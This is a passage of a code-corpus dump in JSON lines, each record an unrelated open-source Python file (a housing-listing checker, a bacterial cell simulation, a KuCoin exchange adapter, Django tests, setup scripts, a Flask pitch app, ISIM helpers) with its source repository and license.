telegram_bot_sendtext(\"https://www.immobilienscout24.de/expose/\" + expose)\n temp.append(expose)\n time.sleep(60)\n i += 1", "source": "kochmanski/ImmoScout24Checker", "license": "MIT"} {"text": "from CellModeller.Signalling.GridDiffusion import GridDiffusion\nfrom CellModeller.Integration.CLCrankNicIntegrator import CLCrankNicIntegrator\nfrom CellModeller.Regulation.ModuleRegulator import ModuleRegulator\nfrom CellModeller.Biophysics.BacterialModels.CLBacterium import CLBacterium\nfrom CellModeller.GUI import Renderers\nimport numpy\nimport random\n\nmax_cells = 2**15\n\ngrid_dim = (64, 8, 12)\ngrid_size = (4, 4, 4)\ngrid_orig = (-128, -14, -8)\n\n\ndef setup(sim):\n sig = GridDiffusion(sim, 1, grid_dim, grid_size, grid_orig, [1.0])\n integ = CLCrankNicIntegrator(sim, 1, 5, max_cells, sig)\n biophys = CLBacterium(sim, max_cells=max_cells, max_contacts=32, max_sqs=64**2, jitter_z=False, reg_param=2)\n biophys.addPlane((0,-16,0),(0,1,0),0.2)\n biophys.addPlane((0,16,0),(0,-1,0),0.2)\n reg = ModuleRegulator(sim, __file__)\n\n sim.init(biophys, reg, sig, integ)\n\n sigrend = Renderers.GLGridRenderer(sig, integ)\n therend = Renderers.GL2DBacteriumRenderer(sim)\n sim.addRenderer(sigrend)\n sim.addRenderer(therend)\n\n sim.addCell(pos=(0,0,0), len=2.0)\n\n\ndef init(cell):\n cell.target_volume = 3.0\n cell.length = 2.0\n cell.signals = [0]\n cell.species = [0, 0, 0, 0, 0]\n cell.growthRate = 0.5\n\ndef numSignals():\n return 1\n\ndef numSpecies():\n return 5\n\n# parameters from Danino et al, 2010 SI\ncl_preamble = \"\"\"\nconst float CA = 1.0;\nconst float CI = 4.0;\nconst float delta = 1e-3;//delta = 1e-3;\nconst float alpha = 50.0;//const float alpha = 2500.0;\nconst float k = 1.0;\nconst float k1 = 0.1;\nconst float b = 0.06;\nconst float gA = 15.f;//15.0;\nconst float gI = 24.f;//24.0;\nconst float gH = 0.1f;//0.1;\nconst float f = 0.3;\nconst float g = 0.01;\nconst float D = 2.5f;//2.5;\nconst float mu = 1.0;\nconst float mat = 0.001;\nfloat A = species[0];\nfloat I = species[1];\nfloat Hi = species[2];\nfloat P = species[3];\nfloat Pm = species[4];\nfloat He = signals[0];\n\"\"\"\n\ncl_spec_rate = \"\"\"\nrates[0] = CA*Pm - gA*A/(1.f+f*(A+I));\nrates[1] = CI*Pm - gI*I/(1.f+f*(A+I));\nrates[3] = (delta + alpha*Hi*Hi)/(1.f+k1*Hi*Hi) - mat*P;\nrates[2] = b*I/(1.f+k*I) - gH*A*Hi/(1.f+g*Hi) + D*(He-Hi);\n//rates[2] = b*I/(1.f+k*I) - gH*A*Hi/(1.f+g*A) + D*(He-Hi);\nrates[4] = mat*P;\n\"\"\"\n\ncl_sig_rate = \"\"\"\nrates[0] = D*(Hi-He)*volume;\n\"\"\"\n\n\ndef specRateCL():\n return cl_preamble+cl_spec_rate\n\n\ndef sigRateCL():\n return cl_preamble+cl_sig_rate\n\n\ndef update(cells):\n if len(cells) > max_cells-64:\n print 'reached cell limit'\n exit()\n for (i,cell) in cells.items():\n cell.color = [0.2+cell.species[0]/2300.0, 0.2+cell.species[1]/8000.0, 0.2+cell.species[2]/0.35]\n if cell.volume > getattr(cell, 'target_volume', 3.0):\n cell.asymm = [1,1]\n cell.divideFlag = True\n\n\ndef divide(parent, d1, d2):\n d1.target_volume = 3.0 + random.uniform(-0.5, 0.5)\n d2.target_volume = 3.0 + random.uniform(-0.5, 0.5)\n", "source": "pakpoomton/CellmodellerShadow", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n\nfrom ccxt.base.exchange import Exchange\nimport base64\nimport hashlib\nimport math\nimport json\nfrom ccxt.base.errors import ExchangeError\nfrom ccxt.base.errors import AuthenticationError\nfrom ccxt.base.errors import InvalidOrder\n\n\nclass kucoin (Exchange):\n\n def describe(self):\n return self.deep_extend(super(kucoin, self).describe(), {\n 'id': 'kucoin',\n 'name': 'Kucoin',\n 'countries': 'HK', # Hong Kong\n 'version': 'v1',\n 'rateLimit': 2000,\n 'hasCORS': False,\n # obsolete metainfo interface\n 'hasFetchTickers': True,\n 'hasFetchOHLCV': False, # see the method implementation below\n 'hasFetchOrder': True,\n 'hasFetchOrders': True,\n 'hasFetchClosedOrders': True,\n 'hasFetchOpenOrders': True,\n 'hasFetchMyTrades': False,\n 'hasFetchCurrencies': True,\n 'hasWithdraw': True,\n # new metainfo interface\n 'has': {\n 'fetchTickers': True,\n 'fetchOHLCV': True, # see the method implementation below\n 'fetchOrder': True,\n 'fetchOrders': True,\n 'fetchClosedOrders': 'emulated',\n 'fetchOpenOrders': True,\n 'fetchMyTrades': False,\n 'fetchCurrencies': True,\n 'withdraw': True,\n },\n 'timeframes': {\n '1m': '1min',\n '5m': '5min',\n '15m': '15min',\n '30m': '30min',\n '1h': '1hour',\n '8h': '8hour',\n '1d': '1day',\n '1w': '1week',\n },\n 'urls': {\n 'logo': 'https://user-images.githubusercontent.com/1294454/33795655-b3c46e48-dcf6-11e7-8abe-dc4588ba7901.jpg',\n 'api': 'https://api.kucoin.com',\n 'www': 'https://kucoin.com',\n 'doc': 'https://kucoinapidocs.docs.apiary.io',\n 'fees': 'https://news.kucoin.com/en/fee',\n },\n 'api': {\n 'public': {\n 'get': [\n 'open/chart/config',\n 'open/chart/history',\n 'open/chart/symbol',\n 'open/currencies',\n 'open/deal-orders',\n 'open/kline',\n 'open/lang-list',\n 'open/orders',\n 'open/orders-buy',\n 'open/orders-sell',\n 'open/tick',\n 'market/open/coin-info',\n 'market/open/coins',\n 'market/open/coins-trending',\n 'market/open/symbols',\n ],\n },\n 'private': {\n 'get': [\n 'account/balance',\n 'account/{coin}/wallet/address',\n 'account/{coin}/wallet/records',\n 'account/{coin}/balance',\n 'account/promotion/info',\n 'account/promotion/sum',\n 'deal-orders',\n 'order/active',\n 'order/dealt',\n 'referrer/descendant/count',\n 'user/info',\n ],\n 'post': [\n 'account/{coin}/withdraw/apply',\n 'account/{coin}/withdraw/cancel',\n 'cancel-order',\n 'order',\n 'user/change-lang',\n ],\n },\n },\n 'fees': {\n 'trading': {\n 'maker': 0.0010,\n 'taker': 0.0010,\n },\n },\n })\n\n def fetch_markets(self):\n response = self.publicGetMarketOpenSymbols()\n markets = response['data']\n result = []\n for i in range(0, len(markets)):\n market = markets[i]\n id = market['symbol']\n base = market['coinType']\n quote = market['coinTypePair']\n base = self.common_currency_code(base)\n quote = self.common_currency_code(quote)\n symbol = base + '/' + quote\n precision = {\n 'amount': 8,\n 'price': 8,\n }\n active = market['trading']\n result.append(self.extend(self.fees['trading'], {\n 'id': id,\n 'symbol': symbol,\n 'base': base,\n 'quote': quote,\n 'active': active,\n 'info': market,\n 'lot': math.pow(10, -precision['amount']),\n 'precision': precision,\n 'limits': {\n 'amount': {\n 'min': math.pow(10, -precision['amount']),\n 'max': None,\n },\n 'price': {\n 'min': None,\n 'max': None,\n },\n },\n }))\n return result\n\n def fetch_currencies(self, params={}):\n response = self.publicGetMarketOpenCoins(params)\n currencies = response['data']\n result = {}\n for i in range(0, len(currencies)):\n currency = currencies[i]\n id = currency['coin']\n # todo: will need to rethink the fees\n # to add support for multiple withdrawal/deposit methods and\n # differentiated fees for each particular method\n code = self.common_currency_code(id)\n precision = {\n 'amount': currency['tradePrecision'],\n 'price': currency['tradePrecision'],\n }\n deposit = currency['enableDeposit']\n withdraw = currency['enableWithdraw']\n active = (deposit and withdraw)\n result[code] = {\n 'id': id,\n 'code': code,\n 'info': currency,\n 'name': currency['name'],\n 'active': active,\n 'status': 'ok',\n 'fee': currency['withdrawFeeRate'], # todo: redesign\n 'precision': precision,\n 'limits': {\n 'amount': {\n 'min': math.pow(10, -precision['amount']),\n 'max': math.pow(10, precision['amount']),\n },\n 'price': {\n 'min': math.pow(10, -precision['price']),\n 'max': math.pow(10, precision['price']),\n },\n 'cost': {\n 'min': None,\n 'max': None,\n },\n 'withdraw': {\n 'min': currency['withdrawMinAmount'],\n 'max': math.pow(10, precision['amount']),\n },\n },\n }\n return result\n\n def fetch_balance(self, params={}):\n self.load_markets()\n raise ExchangeError(self.id + ' fetchBalance() / private API not implemented yet')\n # JUNK FROM SOME OTHER EXCHANGE, TEMPLATE\n # response = self.accountGetBalances()\n # balances = response['result']\n # result = {'info': balances}\n # indexed = self.index_by(balances, 'Currency')\n # keys = list(indexed.keys())\n # for i in range(0, len(keys)):\n # id = keys[i]\n # currency = self.common_currency_code(id)\n # account = self.account()\n # balance = indexed[id]\n # free = float(balance['Available'])\n # total = float(balance['Balance'])\n # used = total - free\n # account['free'] = free\n # account['used'] = used\n # account['total'] = total\n # result[currency] = account\n # }\n # return self.parse_balance(result)\n\n def fetch_order_book(self, symbol, params={}):\n self.load_markets()\n market = self.market(symbol)\n response = self.publicGetOpenOrders(self.extend({\n 'symbol': market['id'],\n }, params))\n orderbook = response['data']\n return self.parse_order_book(orderbook, None, 'BUY', 'SELL')\n\n def parse_ticker(self, ticker, market=None):\n timestamp = ticker['datetime']\n symbol = None\n if market:\n symbol = market['symbol']\n else:\n symbol = ticker['coinType'] + '/' + ticker['coinTypePair']\n return {\n 'symbol': symbol,\n 'timestamp': timestamp,\n 'datetime': self.iso8601(timestamp),\n 'high': self.safe_float(ticker, 'high'),\n 'low': self.safe_float(ticker, 'low'),\n 'bid': self.safe_float(ticker, 'buy'),\n 'ask': self.safe_float(ticker, 'sell'),\n 'vwap': None,\n 'open': None,\n 'close': None,\n 'first': None,\n 'last': self.safe_float(ticker, 'lastDealPrice'),\n 'change': None,\n 'percentage': None,\n 'average': None,\n 'baseVolume': self.safe_float(ticker, 'vol'),\n 'quoteVolume': self.safe_float(ticker, 'volValue'),\n 'info': ticker,\n }\n\n def fetch_tickers(self, symbols=None, params={}):\n response = self.publicGetMarketOpenSymbols(params)\n tickers = response['data']\n result = {}\n for t in range(0, len(tickers)):\n ticker = self.parse_ticker(tickers[t])\n symbol = ticker['symbol']\n result[symbol] = ticker\n return result\n\n def fetch_ticker(self, symbol, params={}):\n self.load_markets()\n market = self.market(symbol)\n response = self.publicGetOpenTick(self.extend({\n 'symbol': market['id'],\n }, params))\n ticker = response['data']\n return self.parse_ticker(ticker, market)\n\n def parse_trade(self, trade, market=None):\n timestamp = trade[0]\n side = None\n if trade[1] == 'BUY':\n side = 'buy'\n elif trade[1] == 'SELL':\n side = 'sell'\n return {\n 'id': None,\n 'info': trade,\n 'timestamp': timestamp,\n 'datetime': self.iso8601(timestamp),\n 'symbol': market['symbol'],\n 'type': 'limit',\n 'side': side,\n 'price': trade[2],\n 'amount': trade[3],\n }\n\n def fetch_trades(self, symbol, since=None, limit=None, params={}):\n self.load_markets()\n market = self.market(symbol)\n response = self.publicGetOpenDealOrders(self.extend({\n 'symbol': market['id'],\n }, params))\n return self.parse_trades(response['data'], market, since, limit)\n\n def parse_ohlcv(self, ohlcv, market=None, timeframe='1d', since=None, limit=None):\n timestamp = self.parse8601(ohlcv['T'])\n return [\n timestamp,\n ohlcv['O'],\n ohlcv['H'],\n ohlcv['L'],\n ohlcv['C'],\n ohlcv['V'],\n ]\n\n def fetch_ohlcv(self, symbol, timeframe='1m', since=None, limit=None, params={}):\n self.load_markets()\n market = self.market(symbol)\n to = self.seconds()\n # whatever I try with from + to + limit it does not work(always an empty response)\n # tried all combinations:\n # - reversing them\n # - changing directions\n # - seconds\n # - milliseconds\n # - datetime strings\n # the endpoint doesn't seem to work, or something is missing in their docs\n request = {\n 'symbol': market['id'],\n 'type': self.timeframes[timeframe],\n 'from': to - 86400,\n 'to': to,\n }\n if since:\n request['from'] = int(since / 1000)\n if limit:\n request['limit'] = limit\n response = self.publicGetOpenKline(self.extend(request, params))\n return self.parse_ohlcvs(response['data'], market, timeframe, since, limit)\n\n def sign(self, path, api='public', method='GET', params={}, headers=None, body=None):\n endpoint = '/' + self.version + '/' + self.implode_params(path, params)\n url = self.urls['api'] + endpoint\n query = self.omit(params, self.extract_params(path))\n if api == 'public':\n if query:\n url += '?' + self.urlencode(query)\n else:\n raise ExchangeError(self.id + ' private API not implemented yet')\n # ---------------------------------\n # FROM KUCOIN:\n # String host = \"https://api.kucoin.com\"\n # String endpoint = \"/v1/KCS-BTC/order\" # API endpoint\n # String secret # The secret assigned when the API created\n # POST parameters\uff1a\n # type: BUY\n # amount: 10\n # price: 1.1\n # Arrange the parameters in ascending alphabetical order(lower cases first), then combine them with &(don't urlencode them, don't add ?, don't add extra &), e.g. amount=10&price=1.1&type=BUY\n # ,\u9996\u4f4d\u4e0d\u8981\u6709\u989d\u5916\u7684&\u7b26\u53f7)\u5f97\u5230\u7684queryString\u5982 if \u5c06\u67e5\u8be2\u53c2\u6570\u6309\u7167\u5b57\u6bcd\u5347\u5e8f(\u5c0f\u5b57\u6bcd\u5728\u524d)\u6392\u5217\u540e\u7528&\u8fdb\u884c\u8fde\u63a5(\u8bf7\u4e0d\u8981\u8fdb\u884curlencode\u64cd\u4f5c,\u5f00\u5934\u4e0d\u8981\u5e26 else amount=10&price=1.1&type=BUY\n # String queryString\n # # splice string for signing\n # String strForSign = endpoint + \"/\" + nonce + \"/\" + queryString\n # # Make a Base64 encoding of the completed string\n # String signatureStr = Base64.getEncoder().encodeToString(strForSign.getBytes(\"UTF-8\"))\n # # KC-API-SIGNATURE in header\n # String signatureResult = hmacEncrypt(\"HmacSHA256\", signatureStr, secret)\n # ----------------------------------\n # TEMPLATE(it is close, but it still needs testing and debugging):\n self.check_required_credentials()\n # their nonce is always a calibrated synched milliseconds-timestamp\n nonce = self.milliseconds()\n queryString = ''\n nonce = str(nonce)\n if query:\n queryString = self.rawencode(self.keysort(query))\n if method == 'GET':\n url += '?' + queryString\n else:\n body = queryString\n auth = endpoint + '/' + nonce + '/' + queryString\n payload = base64.b64encode(self.encode(auth))\n # payload should be \"encoded\" as returned from stringToBase64\n signature = self.hmac(payload, self.encode(self.secret), hashlib.sha512)\n headers = {\n 'KC-API-KEY': self.apiKey(),\n 'KC-API-NONCE': nonce,\n 'KC-API-SIGNATURE': signature,\n }\n return {'url': url, 'method': method, 'body': body, 'headers': headers}\n\n def handle_errors(self, code, reason, url, method, headers, body):\n if code >= 400:\n if body[0] == \"{\":\n response = json.loads(body)\n if 'success' in response:\n if not response['success']:\n if 'message' in response:\n if response['message'] == 'MIN_TRADE_REQUIREMENT_NOT_MET':\n raise InvalidOrder(self.id + ' ' + self.json(response))\n if response['message'] == 'APIKEY_INVALID':\n raise AuthenticationError(self.id + ' ' + self.json(response))\n raise ExchangeError(self.id + ' ' + self.json(response))\n\n def request(self, path, api='public', method='GET', params={}, headers=None, body=None):\n response = self.fetch2(path, api, method, params, headers, body)\n return response\n", "source": "GoChartingAdmin/ccxt", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 14 17:40:55 2015\n\n@author: Wasit\n\"\"\"\n\nimport numpy as np\ny=np.sum(x)\n", "source": "wasit7/tutorials", "license": "MIT"} {"text": "import os\nfrom io import StringIO\nfrom unittest.mock import call, patch\n\nfrom django.conf import settings\nfrom django.core import management\nfrom django.test import TestCase\n\n\nclass TestDumpTestDataCommand(TestCase):\n @staticmethod\n def test_dumpdata_called():\n with patch(\"evap.development.management.commands.dump_testdata.call_command\") as mock:\n management.call_command(\"dump_testdata\")\n\n outfile_name = os.path.join(settings.BASE_DIR, \"development\", \"fixtures\", \"test_data.json\")\n mock.assert_called_once_with(\n \"dumpdata\",\n \"auth.group\",\n \"evaluation\",\n \"student\",\n \"grades\",\n \"--exclude=evaluation.LogEntry\",\n indent=2,\n natural_foreign=True,\n natural_primary=True,\n output=outfile_name,\n )\n\n\nclass TestReloadTestdataCommand(TestCase):\n @patch(\"builtins.input\")\n @patch(\"evap.development.management.commands.reload_testdata.call_command\")\n def test_aborts(self, mock_call_command, mock_input):\n mock_input.return_value = \"not yes\"\n\n management.call_command(\"reload_testdata\", stdout=StringIO())\n\n self.assertEqual(mock_call_command.call_count, 0)\n\n @patch(\"builtins.input\")\n @patch(\"evap.development.management.commands.reload_testdata.call_command\")\n def test_executes_key_commands(self, mock_call_command, mock_input):\n mock_input.return_value = \"yes\"\n\n management.call_command(\"reload_testdata\", stdout=StringIO())\n\n mock_call_command.assert_any_call(\"reset_db\", interactive=False)\n mock_call_command.assert_any_call(\"migrate\")\n mock_call_command.assert_any_call(\"flush\", interactive=False)\n mock_call_command.assert_any_call(\"loaddata\", \"test_data\")\n mock_call_command.assert_any_call(\"clear_cache\")\n mock_call_command.assert_any_call(\"refresh_results_cache\")\n mock_call_command.assert_any_call(\"clear_cache\", \"--cache=sessions\")\n\n self.assertEqual(mock_call_command.call_count, 7)\n\n\nclass TestRunCommand(TestCase):\n @staticmethod\n def test_calls_runserver():\n with patch(\"django.core.management.execute_from_command_line\") as mock:\n management.call_command(\"run\", stdout=StringIO())\n\n mock.assert_has_calls(\n [\n call([\"manage.py\", \"scss\"]),\n call([\"manage.py\", \"ts\", \"compile\"]),\n call([\"manage.py\", \"runserver\", \"0.0.0.0:8000\"]),\n ]\n )\n", "source": "katarinagalic/EvaP", "license": "MIT"} {"text": "#!/usr/bin/env python3\nimport os.path\nfrom setuptools import setup\n\nwith open('README.rst', 'rb') as file:\n readme = file.read().decode('utf8')\n \nsetup(\n name='nwe',\n version='1.0.4',\n url='https://github.com/narutolavo/nwe',\n license='MIT License',\n author='Narutolavo',\n author_email='narutoolavo@outlook.com',\n keywords='News Web Easy, Jisho, Anki, Japon\u00eas',\n description='Criar Cart\u00f5es do anki e pdf, do site News Web Easy ',\n long_description=readme,\n packages=['nwe'],\n install_requires=['googletrans==4.0.0rc1', 'beautifulsoup4', 'reportlab', 'requests'],\n entry_points={\n 'gui_scripts': [\n 'nwe = nwe:__main__',\n ]\n },\n classifiers=['Development Status :: 5 - Production/Stable',\n 'Intended Audience :: Education',\n 'Intended Audience :: End Users/Desktop',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: POSIX',\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: MacOS :: MacOS X',\n 'Topic :: Education',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8'],\n )", "source": "narutolavo/nwe", "license": "MIT"} {"text": "import pandas as pd\nimport matplotlib.pyplot as plt\nimport os\n\nclass PlotActivity():\n '''PlotActivity plots a experiment with the entered activity'''\n\n def __init__(self,experiment,sensor='acc'):\n\n self.experiment = str(experiment)\n self.sensor = sensor\n\n if int(self.experiment) < 10:\n self.experiment = '0' + self.experiment\n\n\n for i in os.listdir('../data/RawData/'):\n \n if self.sensor == 'acc':\n \n if \"acc_exp\" + self.experiment in i:\n path = \"../data/RawData/\" + i\n \n elif self.sensor == \"gyro\":\n \n if \"gyro_exp\" + self.experiment in i:\n path = \"../data/RawData/\" + i\n\n self.df = pd.read_csv(path, sep=\" \", names=['x','y','z'])\n self.df[\"time_s\"] = self.df.index/50\n self.df = self.df[['time_s','x','y','z']]\n\n self.labels = pd.read_csv('../data/RawData/labels.txt', sep=\" \", header=None)\n self.labels.columns = ['experiment','person','activity','start','end']\n\n def read_activity_labels(self):\n '''Read the activity labels.'''\n\n labels_dict = open('../data/activity_labels.txt','r')\n labels_dict = labels_dict.read().split('\\n')\n\n my_dict = {}\n\n for i in labels_dict[:-1]:\n key = i.split()[0]\n value = i.split()[1]\n my_dict[key] = value\n\n return my_dict\n\n\n\n def plot_raw_data(self, start, end, axis = ['x','y','z'], experiment = None, person = None,activity=None):\n '''Plot the raw sensor data.\n\n args:\n\n df: the dataframe with the sensor data. The columns 'x','y','z' are required.\n start: the number of the sample as a start point, default 0\n end: the number of the sample as a end point, default 1000\n axis: the axis to plot\n\n return:\n Returns a matplotlib diagramm\n '''\n\n df = self.df\n labels_dict = self.read_activity_labels()\n\n fig,ax = plt.subplots(len(axis),1)\n colors = ['red','blue','green']\n\n for i in range(len(axis)):\n\n ax[i].plot(df.index[start:end], df[axis[0]][start:end], ls = '-',c=colors[i])\n ax[i].set_xlabel('sample')\n \n if self.sensor == \"acc\":\n ax[i].set_ylabel('acceleration [$g/ms^2$]')\n else:\n ax[i].set_ylabel('gyro [$rad/seg$]')\n ax[i].set_title(\"experiment: {} person: {}\".format(experiment,person))\n\n if activity != None:\n\n ax[i].legend(['Nr.: ' + activity + ' ' + labels_dict[activity]])\n\n ax[i].grid()\n\n plt.tight_layout()\n\n\n def plot_activity(self, activity = 1):\n '''Plots the one activity from a experiment\n\n args:\n\n experiment: the id of the experiment\n activity: the id of the activity\n\n returns:\n plot of the 3 axes of the sensor\n\n '''\n\n label_to_plot = self.labels.loc[(self.labels['experiment'] == int(self.experiment)) & (self.labels['activity'] == activity)]\n for index, row in label_to_plot.iterrows():\n\n plt.figure()\n\n self.plot_raw_data(\n start=row['start'],\n end=row['end'],\n experiment=row['experiment'],\n person=row['person'],\n activity=str(row['activity'])\n )\n\n plt.show()\n", "source": "meszdav/human-activity-recognition", "license": "MIT"} {"text": "#!/usr/bin/python\n\n# The logfile is in Common Log Format:\n# 10.223.157.186 - - [15/Jul/2009:15:50:35 -0700] \"GET /assets/js/lowpro.js HTTP/1.1\" 200 10469\n\nimport re\nimport sys\n\nparts = [\n r'(?P\\S+)'\t# host %h\n r'\\S+',\t\t# identity %I\n r'(?P\\S+)',\t# user %u\n r'\\[(?P
where your data is\r\n#then extract what you want from there\r\n\r\n\"\"\"\r\nFor APIs, they'll help you scrape the webpage more easily\r\nbased on the documentation provided by the webpage, if any.\r\n\r\nSo you can look for APIs from various websites, so you don't\r\nhave to manually go into the html webpage to find the correct\r\nclass etc\r\n\"\"\"\r\n\r\n", "source": "hkrsmk/python", "license": "Unlicense"} {"text": "\"\"\"Apply a certain set of standards to the :file:`setup.cfg`.\"\"\"\n\nimport os\nimport textwrap\nfrom collections import defaultdict\n\nfrom repoma.errors import PrecommitError\nfrom repoma.format_setup_cfg import write_formatted_setup_cfg\nfrom repoma.utilities import CONFIG_PATH\nfrom repoma.utilities.cfg import copy_config\nfrom repoma.utilities.executor import Executor\nfrom repoma.utilities.setup_cfg import open_setup_cfg\n\n\ndef main(ignore_author: bool) -> None:\n if not CONFIG_PATH.setup_cfg.exists():\n return\n executor = Executor()\n executor(_check_required_options)\n if not ignore_author:\n executor(_update_author_data)\n executor(_fix_long_description)\n if executor.error_messages:\n raise PrecommitError(executor.merge_messages())\n\n\ndef _check_required_options() -> None:\n cfg = open_setup_cfg()\n required_options = {\n \"metadata\": [\n \"name\",\n \"description\",\n \"license\",\n \"classifiers\",\n ],\n \"options\": [\"python_requires\"],\n }\n missing_options = defaultdict(list)\n for section, options in required_options.items():\n for option in options:\n if cfg.has_option(section, option):\n continue\n missing_options[section].append(option)\n if missing_options:\n summary = \"\\n\"\n for section, options in missing_options.items():\n summary += f\"[{section}]\\n...\\n\"\n for option in options:\n summary += f\"{option} = ...\\n\"\n summary += \"...\\n\"\n raise PrecommitError(\n f\"./{CONFIG_PATH.setup_cfg} is missing the following options:\\n\"\n + textwrap.indent(summary, prefix=\" \")\n )\n\n\ndef _update_author_data() -> None:\n old_cfg = open_setup_cfg()\n new_cfg = copy_config(old_cfg)\n new_cfg.set(\"metadata\", \"author\", \"Common Partial Wave Analysis\")\n new_cfg.set(\"metadata\", \"author_email\", \"Common Partial Wave Analysis\")\n new_cfg.set(\"metadata\", \"author_email\", \"compwa-admin@ep1.rub.de\")\n if new_cfg != old_cfg:\n write_formatted_setup_cfg(new_cfg)\n raise PrecommitError(\n f\"Updated author info in ./{CONFIG_PATH.setup_cfg}\"\n )\n\n\ndef _fix_long_description() -> None:\n if os.path.exists(\"README.md\"):\n old_cfg = open_setup_cfg()\n new_cfg = copy_config(old_cfg)\n new_cfg.set(\"metadata\", \"long_description\", \"file: README.md\")\n new_cfg.set(\n \"metadata\", \"long_description_content_type\", \"text/markdown\"\n )\n if new_cfg != old_cfg:\n write_formatted_setup_cfg(new_cfg)\n raise PrecommitError(\n f\"Updated long_description in ./{CONFIG_PATH.setup_cfg}\"\n )\n", "source": "ComPWA/repo-maintenance", "license": "BSD-3-Clause"} {"text": "\n\"\"\"\nThis module will be utilized for using the colored dialogue that are used for showing warnings and other important instructiosn\n\"\"\"\n\n\n\nfrom termcolor import colored, cprint\n\ndef coloredtext(input):\n text = colored(str(input), 'red', attrs=['reverse', 'blink'])\n print(text)\n\n", "source": "darshan-raul/Python-Package-", "license": "MIT"} {"text": "from onnx_tf.handlers.frontend_handler import FrontendHandler\nfrom onnx_tf.handlers.handler import onnx_op\nfrom onnx_tf.handlers.handler import tf_op\n\n\n@onnx_op(\"Sigmoid\")\n@tf_op(\"Sigmoid\")\nclass Sigmoid(FrontendHandler):\n\n @classmethod\n def version_1(cls, node, **kwargs):\n return cls.make_node_from_tf_node(node)\n\n @classmethod\n def version_6(cls, node, **kwargs):\n return cls.make_node_from_tf_node(node)\n", "source": "jsigee87/onnx-tensorflow", "license": "Apache-2.0"} {"text": "\"\"\"Subpackage for TellorDAO-supported Reporters used by\r\nthe `telliot` CLI.\"\"\"\r\n", "source": "oraclown/pytelliot-test", "license": "MIT"} {"text": "from . import main\nfrom flask_login import login_required,current_user\nfrom .forms import PitchForm,CommentForm\nfrom flask import render_template,redirect,url_for,abort,request,flash\nfrom ..models import User,Pitch,Comment\nfrom .. import db\n\n@main.route('/pitch/new', methods = ['GET','POST'])\n@login_required\ndef new_pitch():\n pitch_form = PitchForm()\n if pitch_form.validate_on_submit():\n title = pitch_form.title.data\n pitch = pitch_form.pitch_content.data\n category = pitch_form.category.data\n\n # Updated pitch instance\n new_pitch = Pitch(title=title,content=pitch,category=category,user=current_user,likes=0,dislikes=0)\n\n # Save pitch method\n new_pitch.save_pitch()\n return redirect(url_for('.index'))\n\n \n return render_template('pitch.html',pitch_form = pitch_form )\n\n@main.route('/', methods = ['GET','POST'])\ndef index():\n '''\n view to load index.html\n '''\n\n \n \n \n pitches = Pitch.query.all()\n pitch = Pitch.query.filter_by(id=Pitch.id).first()\n \n name = User.query.filter_by(id = Pitch.user_id).first()\n comment_form = CommentForm()\n if comment_form.validate_on_submit():\n comment = comment_form.text.data\n new_comment = Comment(comment = comment,user = current_user, pitch_id = pitch)\n new_comment.save_comment()\n \n flash('Your comment has been submitted')\n return redirect(url_for('.index'))\n\n \n \n\n return render_template('index.html', pitches = pitches, name = name, comment_form = comment_form)\n \n\n@main.route('/user/')\ndef profile(user):\n user = User.query.filter_by(username = user).first()\n user_joined = user.date_joined.strftime('%b %d, %Y')\n pitches = Pitch.query.filter_by(user_id=Pitch.user_id).all()\n\n if user is None:\n abort(404)\n \n\n \n\n return render_template(\"profile/profile.html\", user = user, pitches = pitches)\n\n\n\n@main.route('/comments/')\ndef comments():\n pitch = Pitch.query.filter_by(id=Pitch.id).first()\n comments = Comment.get_comments(pitch)\n name = User.query.filter_by(id = Comment.pitch).first()\n\n return render_template('comments.html', comments = comments, name = name)\n\n@main.route('/category/')\ndef category():\n interview_pitches = Pitch.query.filter_by(category='pickuplines').all()\n product_pitches = Pitch.query.filter_by(category='product').all()\n promotion_pitches = Pitch.query.filter_by(category='sales').all()\n \n\n\n return render_template('category.html', interview = interview_pitches, product = product_pitches, promotion = promotion_pitches)\n\n\n", "source": "Mel-001/Pitch", "license": "MIT"} {"text": "from typing import Dict, List, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from pyisim.auth import Session\n from pyisim.entities import Activity, Person, Service\n\n\ndef activity_batch_complete(\n session: \"Session\",\n actividades: List[\"Activity\"],\n resultado: Union[str, List[Dict[str, str]]],\n justification: str,\n):\n \"\"\"\n Completes activities in batch.\n\n Prefer this method to activity.complete() if more than one activity is being completed.\n\n All activities must be of the same type.\n\n Result values:\n\n * For approvals: \"approve\" / \"reject\"\n * For work orders: \"successful\" / \"warning\" / \"failure\"\n * For RFIs: List of {\"name\":attr_name, \"value\":attr_value}\n\n Args:\n session (Session): Active ISIM session.\n actividades (List[Activity]): List of activities to complete. All activities must be of the same type.\n resultado (Union[str,List[Dict[str,str]]]): Result value.\n justification (str): Request justification\n\n Returns:\n dict: REST API Response.\n \"\"\"\n acts_dict = []\n\n for act in actividades:\n if act.status == \"PENDING\":\n act_dict = {\"_attributes\": {}, \"_links\": {\"workitem\": {}}}\n act_dict[\"_attributes\"][\"type\"] = act.type\n act_dict[\"_attributes\"][\"name\"] = act.name\n act_dict[\"_links\"][\"workitem\"][\"href\"] = act.workitem_href\n\n acts_dict.append(act_dict)\n\n r = session.restclient.complete_activities(acts_dict, resultado, justification)\n\n return r\n\n\ndef get_account_defaults(\n session: \"Session\", service: \"Service\", person: \"Person\" = None\n) -> Dict:\n \"\"\"\n Get account default attribute values\n\n Args:\n session (Session): Active ISIM Session\n service (Service): Account service\n person (Person, optional): Person to get the default attributes, if None then gets global defaults for the service. Defaults to None.\n\n Raises:\n KeyError: Raised if person has no reference to ISIM\n\n Returns:\n Dict: Default attributes for the account\n \"\"\"\n if person:\n if not hasattr(person, \"dn\"):\n raise KeyError(\"Person must have a reference to ISIM (DN). Search for it.\")\n\n result = session.soapclient.get_default_account_attributes_by_person(\n service.dn, person.dn\n )\n else:\n result = session.soapclient.get_default_account_attributes(service.dn)\n\n account_attrs = {}\n for a in result:\n\n attr_values = a[\"values\"][\"item\"]\n\n if attr_values[0] and attr_values[0].strip():\n account_attrs[a[\"name\"]] = (\n attr_values if len(attr_values) > 1 else attr_values[0]\n )\n\n return account_attrs\n", "source": "cazdlt/isim", "license": "MIT"} {"text": "import time\nfrom multiprocessing.connection import Listener, Client\nfrom 